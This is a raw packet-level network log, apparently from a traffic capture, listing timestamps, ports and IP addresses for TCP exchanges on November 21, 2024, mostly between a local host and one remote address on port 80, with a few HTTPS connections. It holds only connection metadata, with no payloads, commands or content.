Nov 21, 2024 03:09:16.044522047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.044548035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.044570923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.044981956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.045017958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.045063019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.045717955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.045752048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.045769930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.045792103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.046746016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.046781063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.046825886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.047393084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.047426939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.047442913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.047470093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.048154116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.048202991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.048213005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.048263073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.049098015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.049145937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.049221992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.049268961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.049715996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.049750090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.049765110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.049796104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.050261974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.050317049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.050331116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.050379992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.051242113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.051278114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.051296949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.051321030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.052164078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.052198887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.052247047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.053108931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.053143978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.053165913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.053186893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.053839922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.053893089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.053906918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.053940058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.054873943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.054908991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.054925919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.054948092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.055305004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.055366039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.055433035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.055481911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.056994915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.057049036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.057099104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.057148933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.058073044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.058108091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.058125973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.058154106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.058310986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.058362961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.058365107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.058408976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.058931112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.058964014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.058985949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.059007883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.059544086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.059643984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.217109919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.217220068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.217281103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.217329979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.217505932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.217555046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.217613935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.217665911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.218302011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.218354940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.218430996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.218482018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.219125032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.219177008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.219204903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.219254971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.219948053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.219999075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.220065117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.220114946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.220774889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.220825911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.220890999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.220941067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.221600056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.221652031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.221714973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.221767902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.222444057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.222495079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.222574949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.222624063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.223295927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.223354101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.223371983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.223422050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.224108934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.224159956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.224220037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.224271059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.224948883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.224998951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.225045919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.225097895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.225795984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.225850105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.225929022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.225979090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.226617098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.226670027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.226728916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.226784945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.227440119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.227509022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.227562904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.227613926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.228292942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.228347063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.228523970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.228583097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.229407072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.229513884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.229532003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.229583025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.229985952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.230037928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.230102062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.230150938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.230840921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.230887890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.230894089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.230946064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.231637001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.231688976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.231765985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.231821060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.232465982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.232522964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.232585907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.232635975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.233288050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.233338118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.233491898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.233541012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.234149933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.234206915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.234272957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.234323025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.234957933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.235008955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.235080957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.235131979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.235759020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.235810995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.235888004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.235939980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.236618996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.236669064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.236732006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.236783028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.237466097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.237533092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.237611055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.237663031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.238298893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.238346100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.238432884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.238481045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.239116907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.239170074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.239239931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.239298105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.239962101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.240067005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.240098953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.240149975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.240803003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.240853071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.240946054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.240998983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.241626978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.241677999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.241750002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.241801023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.242475033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.242526054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.242599010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.242647886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.243302107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.243349075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.243421078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.243474960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.244122028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.244172096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.244245052 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.244294882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.244967937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.245023966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.245095968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.245146990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.245801926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.245850086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.245917082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.245969057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.246638060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.246686935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.246758938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.246814013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.247464895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.247517109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.247582912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.247637987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.248291016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.248347044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.248410940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.248486996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.249130964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.249183893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.249243975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.249294996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.249979019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.250052929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.250104904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.250155926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.250798941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.250849962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.250910997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.250961065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.251614094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.251662970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.251743078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.251794100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.252459049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.252513885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.252587080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.252639055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.253314018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.253362894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.253417015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.253468037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.254162073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.254230022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.254293919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.254344940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.254986048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.255034924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.255122900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.255172968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.255798101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.255867958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.255924940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.255975008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.256629944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.256695986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.256762028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.256813049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.257462978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.257524967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.257549047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.257642984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.258409977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.258500099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.258550882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.258601904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.258910894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.258965015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.259042978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.259093046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.259730101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.259783983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.259850025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.259901047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.260533094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.260628939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.391160011 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.391710997 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.391721964 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.392199993 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.392205000 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.392432928 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.392698050 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.392760038 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.393057108 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.393071890 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.400659084 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.400944948 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.400968075 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.401324034 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.401330948 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.418833971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.418915987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.418926001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.418966055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.419084072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.419136047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.419279099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.419329882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.419910908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.419964075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.420030117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.420083046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.420747042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.420802116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.420865059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.420917988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.421546936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.421597958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.421683073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.421731949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.422385931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.422439098 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.422504902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.422555923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.423223972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.423269033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.423367023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.423412085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.424065113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.424118042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.424182892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.424225092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.424911022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.424963951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.425028086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.425076962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.425719976 CET	80	49814	31.41.244.11	192.168.2.5
